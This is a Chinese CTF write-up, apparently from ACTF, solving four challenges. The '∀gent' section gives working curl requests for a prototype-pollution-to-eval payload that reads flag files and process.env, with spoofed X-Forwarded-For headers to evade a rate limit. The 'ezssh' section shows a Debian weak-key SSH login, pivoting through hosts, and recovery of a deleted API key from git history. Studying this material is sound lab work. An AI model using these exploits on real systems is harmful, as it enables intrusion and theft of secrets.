∀gent
题目描述
题目给了一个前端很简陋的 agent 网站。附件是 Node.js 服务,核心逻辑不在前端,而在后端的 workspace agent/tool 调用链里。
题目描述里提到 “from small to big”,实际对应的是:从几个普通请求字段污染到更大的全局原型对象。
代码审计
关键 API:
POST /api/projects/:id/agent/override
后端会把请求里的字段拼成配置更新路径:
function buildPropertyPath(request) {
const scope = sanitizeSegment(request.scope, "release");
const environment = sanitizeSegment(request.environment, "staging");
const section = sanitizeSegment(request.section, "image");
const field = sanitizeSegment(request.field, "tag");
return `agentProfile.scopes.${scope}.environments.${environment}.${section}.${field}`;
}
这里没有过滤 constructor、prototype、__proto__ 等危险字段。
后续这个 path 会进入 vendored 的 yaml-update-action,其内部使用 jsonpath.value() 写 YAML:
jsonpath.value(copy, jsonPath, value);
因此可以通过 JSONPath 写入原型链,造成 prototype pollution。
利用点
agent 在执行 override job 时会调用 policy.evaluate:
function evaluatePolicy(repoFacts, vendorCatalog, peerCatalog) {
const workspacePolicy = repoFacts.policy || {};
const runtime = {
formula: workspacePolicy.formula || "base + hasReadme*10 + ...",
bindingProfile: resolvedProfiles.bindingProfile,
resultProfile: resolvedProfiles.resultProfile,
};
const formulaResult = evaluateFormula(runtime.formula, ...);
}
而 evaluateFormula 最终会执行:
eval(`(function(${argNames.join(',')}) { return (${expression}); })`)
如果污染 Object.prototype.policy,普通对象 repoFacts 就会继承到我们构造的 policy,从而控制 formula,最终形成 RCE / 任 意表达式执行。
漏洞利用
第一步,先污染出一个可用的 inherited pivot:
curl -sS "$TARGET/api/projects/workspace-main/agent/override" \
-H 'content-type: application/json' \
-H 'x-forwarded-for: 1.1.1.1' \
-d '{"instruction":"update
config","scope":"constructor","environment":"pivot","section":"x","field":"y","value":"z"}'
第二步,通过这个 pivot 写入 Object.prototype.policy:
curl -sS "$TARGET/api/projects/workspace-main/agent/override" \
-H 'content-type: application/json' \
-H 'x-forwarded-for: 2.2.2.2' \
-d '{"instruction":"update
config","scope":"constructor","environment":"pivot","section":"constructor.prototype","field":"policy","value":
{"formula":"(process.env.FLAG||process.env.ACTF_FLAG||process.env.GZCTF_FLAG||(()=>{for (const p of [\"/flag\",\"/
flag.txt\",\"/app/flag\"]){try{return require(\"fs\").readFileSync(p,\"utf8\")}catch(e){}}return
JSON.stringify(process.env)})())","bindingProfile":"compat","resultProfile":"wide"}}' \
| jq -r '.job.result.evaluation.formulaResult'
这里加 X-Forwarded-For 是为了绕过每 20 秒 1 次的 override rate limit。
假 Flag
源码里有一个明显的假 flag:
content: "ACTF{WuYan_1s_4_b19_Turt13_N07_7h3_F1n41_Fl4g}"
函数名也叫:
refreshFakeFlagConversation()
所以这个不是最终答案。
Flag
最终读取环境变量得到:
ACTF{1n_f4c7_∀_D0esn'7_ref3r_2_und3rwe4r_bu7_an_1nVer7ed_A}
ezssh
题目提示 flag 有三段。进入实例后,guest 用户需要先通过 team-gate 校验,输入队伍 token 后可以拿到 shell。
先做基础枚举,发现 /home/inuebisu/flag1.txt 不可读,但 /home/inuebisu/.ssh 和 .bash_history 可读:
ls -la /home/inuebisu /home/inuebisu/.ssh
cat /home/inuebisu/.bash_history
cat /home/inuebisu/.ssh/config
cat /home/inuebisu/.ssh/authorized_keys
历史记录里有几个关键点:
ssh root@oldgw
scp root@oldgw:/etc/debian_version /tmp/oldgw-etc/
scp root@oldgw:/root/.ssh/id_rsa.pub /tmp/oldgw.pub
cat /tmp/oldgw.pub >> ~/.ssh/authorized_keys
ssh gitops@git-01
/tmp/oldgw-etc/debian_version 内容是:
4.0
Debian 4.0 对应经典的 OpenSSL 弱随机数问题。authorized_keys 里有一把 root@oldgw 的 RSA 公钥,计算指纹:
ssh-keygen -E md5 -lf oldgw.pub
得到:
MD5:a3:ed:92:9a:9c:89:a7:3f:52:13:7a:ba:c5:56:56:32
使用 Debian weak SSH key 库匹配 RSA 2048/x86 密钥,命中:
rsa/2048/a3ed929a9c89a73f52137abac5565632-7187
用这把私钥登录 inuebisu,通过 team-gate 后读取第一段:
ssh -i a3ed929a9c89a73f52137abac5565632-7187 inuebisu@host -p port
cat ~/flag1.txt
第一段:
ACTF{O1DGw_N3vER_d!E5_
接着用 inuebisu 的 SSH 配置进入 git-01:
ssh -F ~/.ssh/config git-01
cat ~/flag2.txt
第二段:
h!s70ry_sT!lL_1eaK$_
继续看 gitops 的历史记录,发现仓库 /srv/git/ai-gateway-migration 中曾提交过 .env.production,后面又用 git filter- branch 删除:
cd /srv/git/ai-gateway-migration
git fsck --full
发现 dangling commit:
dangling commit b6517bb43450531b58b2272191ecac8675c41022
恢复被删文件:
git show b6517bb43450531b58b2272191ecac8675c41022:.env.production
得到 API key:
OPENAI_API_KEY=REDACTED_CHALLENGE_KEY
仓库和 SSH key 还指向 backup-01,gitops 的 ~/.ssh/backup_ro 只能访问 sftp。连接后在备份里找到 ai-gateway.service:
sftp -i ~/.ssh/backup_ro backup@10.61.16.30
get /archive/ai-gateway-01/etc/systemd/system/ai-gateway.service
服务文件里给出内网接口:
OPENAI_BASE_URL=http://10.61.16.40:8080/v1
OPENAI_MODEL=deepsleep-v8
最后用恢复出的 API key 请求内网 gateway:
curl -sS http://10.61.16.40:8080/v1/chat/completions \
-H 'Authorization: Bearer REDACTED_CHALLENGE_KEY' \
-H 'Content-Type: application/json' \
-d '{"model":"deepsleep-v8","messages":[{"role":"user","content":"ping"}]}'
返回第三段:
@70M1c_b0mBiN9}
最终 flag:
ACTF{O1DGw_N3vER_d!E5_h!s70ry_sT!lL_1eaK$_@70M1c_b0mBiN9}
ZJUAM Just Uses Awful Math
直接从流量包里面找数据就行了
from math import gcd
n=int('90011418f37a7a075aead75a9829d38eb2d750fd17bb24e5861b89d7658a88c3',16)
e=0x10001
c=int('590948ad2f7a3c0b1a2a5e5f470f4297db3b90623251132be2c5e5395cd12563',16)
p=int('9862b8ecfe60dadd017024122d69b27f',16)
q=int('f1eb6dd71f968c43fcdde215792bbfbd',16)
print(p*q==n)
phi=(p-1)*(q-1)
d=pow(e,-1,phi)
m=pow(c,d,n)
b=m.to_bytes((m.bit_length()+7)//8,'big')
print(hex(m))
print(b)
print(b.decode(errors='replace'))
print(m.to_bytes(32,'big').hex())
print(pow(m,e,n)==c)
special day
base64然后删改一下即可